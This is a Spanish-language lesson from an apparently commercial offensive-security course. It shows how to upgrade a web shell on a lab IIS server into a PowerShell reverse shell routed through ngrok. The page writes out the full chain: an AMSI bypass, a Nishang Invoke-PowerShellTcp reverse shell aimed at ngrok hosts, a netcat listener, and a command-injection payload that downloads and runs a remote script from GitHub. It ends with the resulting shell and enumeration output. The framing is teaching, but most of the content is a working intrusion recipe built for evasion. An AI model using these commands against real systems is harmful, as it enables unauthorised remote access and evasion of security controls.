# Migracion de WebShell a Reverse Shell via PowerShell

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/j265a0>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

{% hint style="success" %}
**OBJETIVO DEL EJERCICIO #5:**

Obtener una reverse shell indetectable desarrollada en powershell atravez de un direccionamiento publico utilizando NGROK.\
Para realizarlo es suficiente tener encendido UNICAMENTE `WEBSERVER` y `First-DC`.
{% endhint %}

Ahora es importante que tengas configurado con nuestra guia de [utilizando-ip-publica-para-auditorias-reales](https://books.spartan-cybersec.com/cpad/fundamentos-ofensivos/instalacion-de-kali-linux/utilizando-ip-publica-para-auditorias-reales "mention")

Ahora levantamos un puerto 80 sobre el servicio de HTTP y encendemos ngrok sobre ese puerto:

<figure><img src="https://1580805812-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzDuZE3U19tNNqSAmcpyE%2Fuploads%2FwsoXrweSyQVuvchkxio1%2Fimage.png?alt=media&#x26;token=1ce78208-331d-4e9b-aa9a-dd232904fce0" alt=""><figcaption></figcaption></figure>

En la evidencia previa, se puede apreciar que estoy accediendo desde el navegador a la URL generada por NGROK que esta exponiendo los archivos a nivel de HTTP con python.

Ahora vamos a iniciar nuestro oyente donde recibiremos la shell inversa:

<figure><img src="https://1580805812-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzDuZE3U19tNNqSAmcpyE%2Fuploads%2FYMcwFZRgczfd7iMWpXju%2Fimage.png?alt=media&#x26;token=6d1f522b-f1e9-4bd8-af13-a1105b0587a1" alt=""><figcaption></figcaption></figure>

En la evidencia previa, se realizo un [Bypass ANSI ](https://books.spartan-cybersec.com/cpad/introduccion-a-la-evasion-de-defensas/amsi-para-hackers)y se configuro en la ultima linea de la shell inversa la ejecuccion de la funcion especificando el host y puerto de Ngrok:

```powershell
Invoke-PowerShellTcp -Reverse -IPAddress 8.tcp.us-cal-1.ngrok.io -Port 14944
```

La IpAddress seria el host que nos entrega Ngrok y el puerto seria lo que esta despues de los dos puntos.

La shell utilizada es:&#x20;

{% embed url="<https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Ahora vamos a replicar todo lo aprendido sobre el laboratorio:

Vamos a concatenar el bypass ANSI con el [Invoke-PowerShellTCP](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1):

<figure><img src="https://1580805812-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzDuZE3U19tNNqSAmcpyE%2Fuploads%2FU32uk6M0uPfsFimA7A5A%2Fimage.png?alt=media&#x26;token=7d1413e0-abef-40bf-9903-dcbe7df728f3" alt=""><figcaption></figcaption></figure>

Despues de lo anterior configuramos nuestro oyente de netcat:

```
kali@kali=> nc -nvlp 443
```

Y configuramos nuestro ngrok:

```bash
kali@kali=> ./ngrok tcp 443
Version                       3.3.5                                                                      
Region                        United States (us)                                                         
Latency                       76ms                                                                       
Web Interface                 http://127.0.0.1:4040                                                      
Forwarding                    tcp://6.tcp.ngrok.io:19858 -> localhost:443 
```

Y luego tomamos los valores entregados por Ngrok y modificamos la shell inversa:

```powershell
Invoke-PowerShellTcp -Reverse -IPAddress 4.tcp.ngrok.io -Port 10690
```

La shell inversa final quedaria asi:

{% embed url="<https://github.com/Spartan-Cybersecurity/CPPJ/blob/main/PowerCPPJ.ps1>" %}

Teniendo en cuenta la explicacion de [utilizando-ip-publicas-y-dominios-confiables-para-el-almacenamiento-de-herramientas](https://books.spartan-cybersec.com/cpad/introduccion-a-la-evasion-de-defensas/utilizando-ip-publicas-y-dominios-confiables-para-el-almacenamiento-de-herramientas "mention") vamos a subir esta shell en GitHub.

<figure><img src="https://1580805812-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzDuZE3U19tNNqSAmcpyE%2Fuploads%2FpRu0b4JYSANdRNEQLmwK%2Fimage.png?alt=media&#x26;token=089dca21-69bd-4a12-ab0f-ca9938348037" alt=""><figcaption></figcaption></figure>

Y Finalmente, ejecutamos lo siguiente sobre el servidor web:

{% code overflow="wrap" %}

```powershell
8.8.8.8& powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Spartan-Cybersecurity/CPPJ/main/PowerCPPJ.ps1')"
```

{% endcode %}

Despues de ejecutar esto en el navegador, vamos a obtener nuestra shell inversa:

```bash
kali@kali=> nc -nvlp 443                 
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54972
Windows PowerShell running as user WEBSERVER$ on WEBSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>
```

Desde aqui podriamos ejecutar los mismos comandos enseñados de enumeracion:

```powershell
PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

PS C:\windows\system32\inetsrv> hostname
WebServer

PS C:\windows\system32\inetsrv> ipconfig
Windows IP Configuration

Ethernet adapter Ethernet 2:
   Connection-specific DNS Suffix  . : spartancybersec.corp
   Link-local IPv6 Address . . . . . : fe80::3dce:ac79:a1b0:7820%7
   IPv4 Address. . . . . . . . . . . : 10.0.1.249
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.1.1
```
